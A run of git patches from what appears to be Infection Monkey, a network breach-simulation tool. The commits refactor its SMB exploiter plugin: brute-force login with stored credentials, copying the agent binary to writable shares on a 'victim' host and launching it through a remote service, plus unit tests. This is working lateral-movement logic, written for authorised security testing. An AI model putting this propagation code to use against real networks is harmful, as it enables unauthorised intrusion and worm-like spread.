+1,4 @@ +from io import BytesIO from ipaddress import IPv4Address from threading import Event from typing import List @@ -23,6 +24,7 @@ def mock_exploit_client() -> IRemoteAccessClient: client = MagicMock(spec=IRemoteAccessClient) client.login.return_value = True client.copy_file.return_value = "path" + client.get_available_paths.return_value = [] client.execute.return_value = True return client @@ -41,15 +43,23 @@ def mock_credentials_repository() -> IPropagationCredentialsRepository: return repository +@pytest.fixture +def mock_agent_binary_repository() -> IAgentBinaryRepository: + repository = MagicMock(spec=IAgentBinaryRepository) + repository.get_agent_binary.return_value = BytesIO(b"file") + return repository + + @pytest.fixture def smb_exploiter( mock_exploit_client_builder: IRemoteAccessClientBuilder, mock_credentials_repository: IPropagationCredentialsRepository, + mock_agent_binary_repository: IAgentBinaryRepository, ) -> SMBExploiter: return SMBExploiter( mock_exploit_client_builder, mock_credentials_repository, - MagicMock(spec=IAgentBinaryRepository), + mock_agent_binary_repository, ) @@ -108,6 +118,23 @@ def test_exploit_host__copy_fails( assert not result.propagation_success +def test_exploit_host__copy_tries_other_paths( + smb_exploiter: SMBExploiter, + mock_exploit_client: IRemoteAccessClient, +): + mock_exploit_client.copy_file.side_effect = Exception() + + def get_other_paths(*args, **kwargs): + mock_exploit_client.copy_file.side_effect = None + return ["other_path"] + + mock_exploit_client.get_available_paths = get_other_paths + + result = run_smb_exploiter(smb_exploiter) + assert result.exploitation_success + assert not result.propagation_success + + def test_exploit_host__execute_fails( smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient, From 1ad96bd310b110475a982e03d8912bdf7bd5c702 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 19:18:00 +0000 Subject: [PATCH 0753/1338] SMB: Add SMBExploitClientBuilder --- .../exploiters/smb/src/plugin.py | 24 ++++++++++--------- .../smb/src/smb_exploit_client_builder.py | 14 +++++++++++ 2 files changed, 27 insertions(+), 11 deletions(-) create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 266e5a3b675..6f40c6ec3d9 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -13,7 +13,7 @@ from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository -from .smb_exploit_client import SMBExploitClient +from .smb_exploit_client_builder import SMBExploitClientBuilder from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions @@ -31,13 +31,9 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, **kwargs, ): - smb_exploit_client = SMBExploitClient(agent_event_publisher) - - self._smb_exploiter = SMBExploiter( - smb_exploit_client, - propagation_credentials_repository, - agent_binary_repository, - ) + self._agent_event_publisher = agent_event_publisher + self._agent_binary_repository = agent_binary_repository + self._propagation_credentials_repository = propagation_credentials_repository def run( self, @@ -52,6 +48,14 @@ def run( # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") + exploit_client_builder = SMBExploitClientBuilder(self._agent_event_publisher) + + smb_exploiter = SMBExploiter( + exploit_client_builder, + self._propagation_credentials_repository, + self._agent_binary_repository, + ) + try: logger.debug(f"Parsing options: {pformat(options)}") smb_options = SMBOptions(**options) @@ -62,9 +66,7 @@ def run( try: logger.debug(f"Running SMB exploiter on host {host.ip}") - return self._smb_exploiter.exploit_host( - host, servers, current_depth, smb_options, interrupt - ) + return smb_exploiter.exploit_host(host, servers, current_depth, smb_options, interrupt) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py new file mode 100644 index 00000000000..ce736de00a5 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py @@ -0,0 +1,14 @@ +from common.event_queue import IAgentEventPublisher +from infection_monkey.exploit.tools import IRemoteAccessClientBuilder +from infection_monkey.i_puppet import TargetHost + +from .smb_exploit_client import SMBExploitClient +from .smb_options import SMBOptions + + +class SMBExploitClientBuilder(IRemoteAccessClientBuilder): + def __init__(self, agent_event_publisher: IAgentEventPublisher): + self._agent_event_publisher = agent_event_publisher + + def build_client(self, host: TargetHost, options: SMBOptions) -> SMBExploitClient: + return SMBExploitClient(self._agent_event_publisher) From c575654ad6522d60c8e2b3cef458d27491938f43 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 19:19:39 +0000 Subject: [PATCH 0754/1338] SMB: Build and execute the command --- .../exploiters/smb/src/plugin.py | 6 ++++- .../exploiters/smb/src/smb_exploiter.py | 24 ++++++++++--------- .../exploiters/smb/test_smb_exploiter.py | 3 +-- 3 files changed, 19 insertions(+), 14 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 6f40c6ec3d9..5640d5fbd66 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -1,4 +1,5 @@ import logging +from functools import partial from pprint import pformat from typing import Any, Dict, Sequence from uuid import UUID @@ -13,6 +14,7 @@ from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from .smb_command_builder import build_smb_command from .smb_exploit_client_builder import SMBExploitClientBuilder from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions @@ -48,9 +50,11 @@ def run( # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") + command_builder = partial(build_smb_command, servers, current_depth) exploit_client_builder = SMBExploitClientBuilder(self._agent_event_publisher) smb_exploiter = SMBExploiter( + command_builder, exploit_client_builder, self._propagation_credentials_repository, self._agent_binary_repository, @@ -66,7 +70,7 @@ def run( try: logger.debug(f"Running SMB exploiter on host {host.ip}") - return smb_exploiter.exploit_host(host, servers, current_depth, smb_options, interrupt) + return smb_exploiter.exploit_host(host, smb_options, interrupt) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 2bd349cb6c5..7c6860cfd5c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,6 +1,6 @@ import logging from io import BytesIO -from typing import Sequence +from typing import Callable from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository @@ -24,10 +24,12 @@ class SMBExploiter: def __init__( self, + build_command: Callable[[str, str], str], exploit_client_builder: IRemoteAccessClientBuilder, propagation_credentials_repository: IPropagationCredentialsRepository, agent_binary_repository: IAgentBinaryRepository, ): + self._build_command = build_command self._exploit_client_builder = exploit_client_builder self._propagation_credentials_repository = propagation_credentials_repository self._agent_binary_repository = agent_binary_repository @@ -35,17 +37,13 @@ def __init__( def exploit_host( self, host: TargetHost, - servers: Sequence[str], - current_depth: int, options: SMBOptions, interrupt: Event, ) -> ExploiterResultData: if interrupt.is_set(): return ExploiterResultData() - exploit_client = self._exploit_client_builder.build_client( - host=host, servers=servers, current_depth=current_depth, options=options - ) + exploit_client = self._exploit_client_builder.build_client(host=host, options=options) try: self._exploit(exploit_client, interrupt) @@ -80,21 +78,25 @@ def _propagate( interrupt: Event, ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - self._copy_file(agent_binary, host, exploit_client) + destination = get_agent_dst_path(host) + file_path = self._copy_file(agent_binary, destination, exploit_client) - exploit_client.execute(interrupt) + command = self._build_command(file_path, destination) + exploit_client.execute(command, interrupt) - def _copy_file(self, file: BytesIO, host: TargetHost, exploit_client: IRemoteAccessClient): - destination = get_agent_dst_path(host) + def _copy_file( + self, file: BytesIO, destination: str, exploit_client: IRemoteAccessClient + ) -> str: file_data = file.getvalue() try: exploit_client.copy_file(file_data, destination) + return destination except RemoteFileCopyError: other_destinations = exploit_client.get_available_paths() for other_destination in other_destinations: try: exploit_client.copy_file(file_data, other_destination) - return + return other_destination except RemoteFileCopyError: continue diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index e04d31efd79..d83a0935fec 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -57,6 +57,7 @@ def smb_exploiter( mock_agent_binary_repository: IAgentBinaryRepository, ) -> SMBExploiter: return SMBExploiter( + lambda a, b: "command", mock_exploit_client_builder, mock_credentials_repository, mock_agent_binary_repository, @@ -74,8 +75,6 @@ def run_smb_exploiter( target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) return smb_exploiter.exploit_host( host=target_host, - servers=[], - current_depth=1, options=SMBOptions(), interrupt=interrupt, ) From 0762fc4b88b65254684981d1003e1764de04d789 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 19:34:29 +0000 Subject: [PATCH 0755/1338] SMB: Move SMBOptions out of SMBExploiter --- .../agent_plugins/exploiters/smb/src/plugin.py | 18 +++++++++--------- .../smb/src/smb_exploit_client_builder.py | 5 +++-- .../exploiters/smb/src/smb_exploiter.py | 5 +---- .../exploiters/smb/test_smb_exploiter.py | 2 -- 4 files changed, 13 insertions(+), 17 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 5640d5fbd66..13d78cf6f9a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -50,8 +50,16 @@ def run( # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") + try: + logger.debug(f"Parsing options: {pformat(options)}") + smb_options = SMBOptions(**options) + except Exception as err: + msg = f"Failed to parse SMB options: {err}" + logger.exception(msg) + return ExploiterResultData(error_message=msg) + command_builder = partial(build_smb_command, servers, current_depth) - exploit_client_builder = SMBExploitClientBuilder(self._agent_event_publisher) + exploit_client_builder = SMBExploitClientBuilder(self._agent_event_publisher, smb_options) smb_exploiter = SMBExploiter( command_builder, @@ -60,14 +68,6 @@ def run( self._agent_binary_repository, ) - try: - logger.debug(f"Parsing options: {pformat(options)}") - smb_options = SMBOptions(**options) - except Exception as err: - msg = f"Failed to parse SMB options: {err}" - logger.exception(msg) - return ExploiterResultData(error_message=msg) - try: logger.debug(f"Running SMB exploiter on host {host.ip}") return smb_exploiter.exploit_host(host, smb_options, interrupt) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py index ce736de00a5..91fb2ce7534 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py @@ -7,8 +7,9 @@ class SMBExploitClientBuilder(IRemoteAccessClientBuilder): - def __init__(self, agent_event_publisher: IAgentEventPublisher): + def __init__(self, agent_event_publisher: IAgentEventPublisher, options: SMBOptions): self._agent_event_publisher = agent_event_publisher + self._options = options - def build_client(self, host: TargetHost, options: SMBOptions) -> SMBExploitClient: + def build_client(self, host: TargetHost) -> SMBExploitClient: return SMBExploitClient(self._agent_event_publisher) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 7c6860cfd5c..7b7f33f06ae 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -16,8 +16,6 @@ from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter -from .smb_options import SMBOptions - logger = logging.getLogger(__name__) @@ -37,13 +35,12 @@ def __init__( def exploit_host( self, host: TargetHost, - options: SMBOptions, interrupt: Event, ) -> ExploiterResultData: if interrupt.is_set(): return ExploiterResultData() - exploit_client = self._exploit_client_builder.build_client(host=host, options=options) + exploit_client = self._exploit_client_builder.build_client(host=host) try: self._exploit(exploit_client, interrupt) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index d83a0935fec..bb3da036458 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -6,7 +6,6 @@ import pytest from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter -from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem @@ -75,7 +74,6 @@ def run_smb_exploiter( target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) return smb_exploiter.exploit_host( host=target_host, - options=SMBOptions(), interrupt=interrupt, ) From 637c3dbf398a10875fae55faab9f8c3625aedc7d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 16 Mar 2023 20:29:17 +0000 Subject: [PATCH 0756/1338] SMB: Allow interrupt between copy_file attempts --- .../exploiters/smb/src/smb_exploiter.py | 8 ++- .../exploiters/smb/test_smb_exploiter.py | 60 +++++++++++++++---- 2 files changed, 55 insertions(+), 13 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 7b7f33f06ae..e980ff79991 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -76,13 +76,13 @@ def _propagate( ): agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) destination = get_agent_dst_path(host) - file_path = self._copy_file(agent_binary, destination, exploit_client) + file_path = self._copy_file(agent_binary, destination, exploit_client, interrupt) command = self._build_command(file_path, destination) - exploit_client.execute(command, interrupt) + exploit_client.execute(command) def _copy_file( - self, file: BytesIO, destination: str, exploit_client: IRemoteAccessClient + self, file: BytesIO, destination: str, exploit_client: IRemoteAccessClient, interrupt: Event ) -> str: file_data = file.getvalue() try: @@ -91,6 +91,8 @@ def _copy_file( except RemoteFileCopyError: other_destinations = exploit_client.get_available_paths() for other_destination in other_destinations: + if interrupt.is_set(): + break try: exploit_client.copy_file(file_data, other_destination) return other_destination diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index bb3da036458..6aba03620c2 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -1,7 +1,7 @@ from io import BytesIO from ipaddress import IPv4Address from threading import Event -from typing import List +from typing import Any, List from unittest.mock import MagicMock import pytest @@ -11,11 +11,16 @@ from common import OperatingSystem from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import IRemoteAccessClient, IRemoteAccessClientBuilder +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + IRemoteAccessClientBuilder, + RemoteFileCopyError, +) from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository CREDENTIALS: List[Credentials] = [] +OTHER_PATHS = ["other_path1", "other_path2", "other_path3"] @pytest.fixture @@ -108,27 +113,62 @@ def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.copy_file.side_effect = Exception() + mock_exploit_client.copy_file.side_effect = RemoteFileCopyError() result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success assert not result.propagation_success +class get_other_paths: + def __init__(self, copy_file: MagicMock): + self.copy_file = copy_file + self.called = False + + def __call__(self, *args: Any, **kwds: Any) -> Any: + self.copy_file.side_effect = None + self.called = True + return ["other_path"] + + def test_exploit_host__copy_tries_other_paths( smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient, ): - mock_exploit_client.copy_file.side_effect = Exception() - - def get_other_paths(*args, **kwargs): - mock_exploit_client.copy_file.side_effect = None - return ["other_path"] - - mock_exploit_client.get_available_paths = get_other_paths + mock_exploit_client.copy_file.side_effect = RemoteFileCopyError("Failed") + mock_exploit_client.get_available_paths = get_other_paths(mock_exploit_client.copy_file) result = run_smb_exploiter(smb_exploiter) + assert mock_exploit_client.get_available_paths.called assert result.exploitation_success + assert result.propagation_success + + +class interrupt_at_path: + def __init__(self, interrupt: Event, path: str): + self.interrupt = interrupt + self.path = path + self.last_path = None + + def __call__(self, *args: Any, **kwds: Any) -> Any: + self.last_path = args[1] + if args[1] == self.path: + self.interrupt.set() + raise RemoteFileCopyError("Failed") + + +@pytest.mark.parametrize("path", OTHER_PATHS) +def test_exploit_host__can_interrupt_while_trying_other_paths( + smb_exploiter: SMBExploiter, + mock_exploit_client: IRemoteAccessClient, + path: str, +): + my_interrupt = Event() + mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, path) + mock_exploit_client.get_available_paths.return_value = OTHER_PATHS + + result = run_smb_exploiter(smb_exploiter, my_interrupt) + assert mock_exploit_client.copy_file.last_path == path assert not result.propagation_success From c255c0bb657a7802151592dec3f5bdd8d99c4975 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Mar 2023 08:48:59 +0100 Subject: [PATCH 0757/1338] SMB: Add host and options to SMBExploitBuilder init --- .../exploiters/smb/src/plugin.py | 4 +- .../exploiters/smb/src/smb_exploit_client.py | 57 +++++++++---------- .../smb/src/smb_exploit_client_builder.py | 9 ++- .../exploiters/smb/src/smb_exploiter.py | 2 +- 4 files changed, 38 insertions(+), 34 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 13d78cf6f9a..37214fc75f1 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -59,7 +59,9 @@ def run( return ExploiterResultData(error_message=msg) command_builder = partial(build_smb_command, servers, current_depth) - exploit_client_builder = SMBExploitClientBuilder(self._agent_event_publisher, smb_options) + exploit_client_builder = SMBExploitClientBuilder( + self._agent_event_publisher, host, smb_options + ) smb_exploiter = SMBExploiter( command_builder, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 4616a1bcdfe..ba3fdc18012 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -26,7 +26,7 @@ class CopiedFileDetails: """Stores the details of a copied file""" - def __init__(self, remote_path: str, destination_path: str): + def __init__(self, remote_path: str, destination_path: PurePath): self.remote_path = remote_path self.destination_path = destination_path @@ -35,26 +35,27 @@ class SMBExploitClient: """Manages the SMB connection, Exploitation events""" def __init__( - self, - agent_event_publisher: IAgentEventPublisher, + self, agent_event_publisher: IAgentEventPublisher, host: TargetHost, options: SMBOptions ): self._agent_event_publisher = agent_event_publisher + self._host = host + self._options = options self._smb: Optional[SMBConnection] = None self._copied_file_details: Optional[CopiedFileDetails] = None self._authenticated_credentials: Optional[Credentials] = None - def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Credentials) -> bool: + def authenticate(self, credentials: Credentials) -> bool: """Returns True if authentication succeeded, False otherwise Side effect: The SMB connection is established on success""" - self._smb = create_smb_connection(host) + self._smb = create_smb_connection(self._host) if not self._smb: return False if not smb_login(self._smb, credentials): return False - self._smb.setTimeout(options.smb_connect_timeout) + self._smb.setTimeout(self._options.smb_connect_timeout) if logout_guest(self._smb): return False @@ -64,16 +65,14 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede def execute( self, - host: TargetHost, servers: Sequence[str], current_depth: int, - options: SMBOptions, interrupt: Event, ): """Raises an exception if the execution failed""" if not self._authenticated_credentials: raise Exception("Not authenticated") - rpc = self._connect_rpc(host, self._authenticated_credentials, options.smb_connect_timeout) + rpc = self._connect_rpc(self._authenticated_credentials, self._options.smb_connect_timeout) if not self._copied_file_details: raise Exception("File was not copied before executing it") @@ -108,26 +107,25 @@ def execute( scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) - def _connect_rpc(self, host, credentials, timeout): - return rpc_connect(host, 139, credentials, timeout) or rpc_connect( - host, 445, credentials, timeout + def _connect_rpc(self, credentials, timeout): + return rpc_connect(self._host, 139, credentials, timeout) or rpc_connect( + self._host, 445, credentials, timeout ) def copy_file( self, - host: TargetHost, file: BytesIO, - options: SMBOptions, ): """Raises an exception if the copy failed""" if not self._query_server_info(): raise RemoteCopyFileError("No server information is available") - destination_path = get_agent_dst_path(host) - shares = self._query_shares(host, destination_path) - for remote_path, share_name, share_path in self._connected_shares(host, shares): + destination_path = get_agent_dst_path(self._host) + shares = self._query_shares(destination_path) + for remote_path, share_name, share_path in self._connected_shares(shares): logger.debug( - f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + f"Trying to copy monkey file to share '{share_name}' " + f"[%s + %s] on victim {self._host}", share_path, remote_path, ) @@ -135,20 +133,21 @@ def copy_file( try: if not self._smb: raise RemoteCopyFileError("Not authenticated") - self._smb.setTimeout(options.agent_binary_upload_timeout) + self._smb.setTimeout(self._options.agent_binary_upload_timeout) self._smb.putFile(share_name, remote_path, file.read) logger.info( f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {host}" + f"[{share_path}] on victim {self._host}" ) self._copied_file_details = CopiedFileDetails( ntpath.join(share_path, remote_path.strip(ntpath.sep)), destination_path ) + except Exception as exc: error_message = ( - f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}" + f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" ) logger.error(error_message) raise RemoteCopyFileError(error_message) @@ -176,7 +175,7 @@ def _execute_rpc_call(self, rpc_func, *args): return rpc_func(dce, *args) - def _query_shares(self, host: TargetHost, path: PurePath): + def _query_shares(self, path: PurePath): resp = self._query_shared_resources() if not resp: return () @@ -194,13 +193,13 @@ def _query_shares(self, host: TargetHost, path: PurePath): if current_uses >= max_uses: logger.debug( f"Skipping share '{share_name}' on victim %r because max uses is exceeded", - host, + self._host, ) continue elif not share_path: logger.debug( f"Skipping share '{share_name}' on victim %r because share path is invalid", - host, + self._host, ) continue @@ -222,7 +221,7 @@ def _query_shared_resources(self): return shares - def _connected_shares(self, host: TargetHost, shares): + def _connected_shares(self, shares): """Yields a tuple of (remote_path, share_name, share_path) Side effect: the SMBConnection is connected to the share""" # Attempt to connect to a share over SMB @@ -234,7 +233,7 @@ def _connected_shares(self, host: TargetHost, shares): if not self._smb: if not self._authenticated_credentials: break - self._connect_with_user(host, self._authenticated_credentials) + self._connect_with_user(self._authenticated_credentials) if not self._smb: break @@ -242,14 +241,14 @@ def _connected_shares(self, host: TargetHost, shares): self._smb.connectTree(share_name) except Exception as exc: logger.error( - f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' + f'Error connecting tree to share "{share_name}" on victim {self._host}: {exc}' ) continue yield remote_path, share_name, share_path - def _connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: - self._smb = create_smb_connection(host) + def _connect_with_user(self, credentials: Credentials) -> bool: + self._smb = create_smb_connection(self._host) if not self._smb: return False diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py index 91fb2ce7534..e0015f51b30 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py @@ -7,9 +7,12 @@ class SMBExploitClientBuilder(IRemoteAccessClientBuilder): - def __init__(self, agent_event_publisher: IAgentEventPublisher, options: SMBOptions): + def __init__( + self, agent_event_publisher: IAgentEventPublisher, host: TargetHost, options: SMBOptions + ): self._agent_event_publisher = agent_event_publisher + self._host = host self._options = options - def build_client(self, host: TargetHost) -> SMBExploitClient: - return SMBExploitClient(self._agent_event_publisher) + def build_client(self) -> SMBExploitClient: + return SMBExploitClient(self._agent_event_publisher, self._host, self._options) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index e980ff79991..e18ded8e510 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -40,7 +40,7 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() - exploit_client = self._exploit_client_builder.build_client(host=host) + exploit_client = self._exploit_client_builder.build_client() try: self._exploit(exploit_client, interrupt) From a40c397d91d1078144d0e5a1974123bf2441034c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Mar 2023 09:06:04 +0100 Subject: [PATCH 0758/1338] SMB: Use interuptible_iter in SMBExploiter --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index e18ded8e510..363f7411c4c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -90,9 +90,7 @@ def _copy_file( return destination except RemoteFileCopyError: other_destinations = exploit_client.get_available_paths() - for other_destination in other_destinations: - if interrupt.is_set(): - break + for other_destination in interruptible_iter(other_destinations, interrupt): try: exploit_client.copy_file(file_data, other_destination) return other_destination From 562e8aa3c6ec83335ad5b673a97a0db4478cef50 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Mar 2023 09:24:03 +0100 Subject: [PATCH 0759/1338] UT: Add RemoteAuthenticationError tests in SMBExploiter --- .../exploiters/smb/test_smb_exploiter.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 6aba03620c2..96bf6f62f37 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -14,6 +14,7 @@ from infection_monkey.exploit.tools import ( IRemoteAccessClient, IRemoteAccessClientBuilder, + RemoteAuthenticationError, RemoteFileCopyError, ) from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -183,6 +184,18 @@ def test_exploit_host__execute_fails( assert not result.propagation_success +def test_exploit_host__exploit_fails_on_remote_authentication_error( + smb_exploiter: SMBExploiter, + mock_exploit_client: IRemoteAccessClient, +): + mock_exploit_client.login.side_effect = RemoteAuthenticationError() + + result = run_smb_exploiter(smb_exploiter) + assert False + assert not result.exploitation_success + assert not result.propagation_success + + def test_exploit_host__exploit_fails_on_authentication_error( smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient, From b23cfdbed47a08da324155585d2405b89529a67c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Mar 2023 09:48:28 +0100 Subject: [PATCH 0760/1338] Agent, SMB: Generalize SMBExploiter into BruteForceExploiter --- .../exploiters/smb/src/plugin.py | 10 ++-- .../exploit/tools/__init__.py | 1 + .../exploit/tools/brute_force_exploiter.py} | 13 ++-- .../exploiters/smb/test_smb_plugin.py | 12 ++-- .../tools/test_brute_force_exploiter.py} | 59 +++++++++---------- 5 files changed, 49 insertions(+), 46 deletions(-) rename monkey/{agent_plugins/exploiters/smb/src/smb_exploiter.py => infection_monkey/exploit/tools/brute_force_exploiter.py} (96%) rename monkey/tests/unit_tests/{agent_plugins/exploiters/smb/test_smb_exploiter.py => infection_monkey/exploit/tools/test_brute_force_exploiter.py} (78%) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 37214fc75f1..c97ede9e054 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -11,12 +11,12 @@ # dependencies to get rid of or internalize from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import BruteForceExploiter from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command from .smb_exploit_client_builder import SMBExploitClientBuilder -from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions logger = logging.getLogger(__name__) @@ -59,20 +59,20 @@ def run( return ExploiterResultData(error_message=msg) command_builder = partial(build_smb_command, servers, current_depth) - exploit_client_builder = SMBExploitClientBuilder( + smb_exploit_client_builder = SMBExploitClientBuilder( self._agent_event_publisher, host, smb_options ) - smb_exploiter = SMBExploiter( + brute_force_exploiter = 